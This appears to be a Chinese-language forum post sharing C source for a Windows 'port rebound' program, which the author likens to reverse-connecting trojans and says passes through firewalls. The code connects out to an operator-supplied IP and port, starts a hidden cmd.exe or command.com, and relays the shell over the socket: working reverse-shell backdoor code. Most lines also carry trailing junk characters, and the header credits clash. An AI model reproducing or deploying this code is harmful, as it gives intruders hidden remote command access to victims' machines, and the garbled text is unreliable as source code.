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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 hB [bth  
xd?=#d  
/* ============================== TE`5i~R*  
Rebound port in Windows NT QO@86{u#Y  
By wind,2006/7 \((MoQ9Qk  
===============================*/  %:26v  
#include *%uzLW0  
#include HDm]njF%qQ  
?mMM{{%(.  
#pragma comment(lib,"wsock32.lib") PRfq_:xy  
2EgvS!"  
void OutputShell(); !~ o%KQt  
SOCKET sClient; lpT&v ;$`  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; WcmX"{  
k(H&Af+  
void main(int argc,char **argv) DG&'x;K"$  
{ he|Q (?  
WSADATA stWsaData;  \? /'  
int nRet; (KI9j7  
SOCKADDR_IN stSaiClient,stSaiServer; F:/x7]7??Z  
D5gj*/"  
if(argc != 3) ` wa;@p+j8  
{ zJXK:/  
printf("Useage:\n\rRebound DestIP DestPort\n"); "DN,1Q lCp  
return; ?HG[N7=j  
} jCY~Wc  
NQD5=/o  
WSAStartup(MAKEWORD(2,2),&stWsaData); #7;?Ls  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); l]G iz&  
l8~(bq1  
stSaiClient.sin_family = AF_INET; $:I{  
stSaiClient.sin_port = htons(0); I`{3I-E  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); )qx;/=D  
~d7t\S  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) >5O~SF.  
{ ##mZ97>$  
printf("Bind Socket Failed!\n"); !-MY< '  
return; cs6oD!h  
} A=kOSq 4Q  
2hV -h  
stSaiServer.sin_family = AF_INET; n1%2 sV)>  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 3JC uM_y  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); BP..p ^EPN  
]x)!Kd2>  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) {.Qv1oOa  
{ D%+yp  
printf("Connect Error!"); s[GHDQ;!  
return; et5lfj  
} pPa]@ z~O  
OutputShell(); I^EZs6~  
} Tdh(J",d  
KBM*7raA  
void OutputShell() g}!{_z  
{ 9mxg$P4  
char szBuff[1024]; yKhI&  
SECURITY_ATTRIBUTES stSecurityAttributes; 4Q!A w  
OSVERSIONINFO stOsversionInfo; lU 62$2  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; U!uPf:p2  
STARTUPINFO stStartupInfo; gcnX^[`S  
char *szShell; 7;+G)44  
PROCESS_INFORMATION stProcessInformation; ^g4Gw6q 6  
unsigned long lBytesRead; %%ouf06.|  
xO_>%F^?  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);  2d*bF.  
&]YyV.  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); s,r|p@^  
stSecurityAttributes.lpSecurityDescriptor = 0; M(L6PyEa!Y  
stSecurityAttributes.bInheritHandle = TRUE; hDi~{rbmc  
e".=E ;o`  
%|e)s_%XE  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); j4,y+ 9U  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 1UK= t  
TC-Vzk G|  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ;N#}3lpLqg  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (o*YGYC  
stStartupInfo.wShowWindow = SW_HIDE; N&   
stStartupInfo.hStdInput = hReadPipe; z'l HL  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Lfn$Q3}O`$  
M 6&=-  
GetVersionEx(&stOsversionInfo); x</4/d  
$F^VtCx2&  
switch(stOsversionInfo.dwPlatformId) m"rht:v5  
{ {ol7*%u  
case 1: %SB4_ r*<  
szShell = "command.com"; $M)SsD~  
break; q83^?0WD  
default: pMT7/y-  
szShell = "cmd.exe"; (mp  
break; sJx_X8  
} 1q(Qr h  
2!0tD+B  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Hrpz4E%\Aw  
Y Iwa =^  
send(sClient,szMsg,77,0); Bc.de&Bxz_  
while(1) &V1d"";SZ  
{ -XXsob}/8  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); mH\zSk  
if(lBytesRead) x?o#}:S  
{ Awa| (]  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); t3<8n;'y:  
send(sClient,szBuff,lBytesRead,0); j7ZxA*  
} HSysME1X:/  
else S>I` y]qlR  
{ !O%!A<3  
lBytesRead=recv(sClient,szBuff,1024,0); EA(4xj&:U  
if(lBytesRead<=0) break; aC`>~uX##V  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Bk\Y v0  
} <&Xl b0  
} _!1LV[x!s  
UH-873AK  
return; ymxA<bICS8  
}
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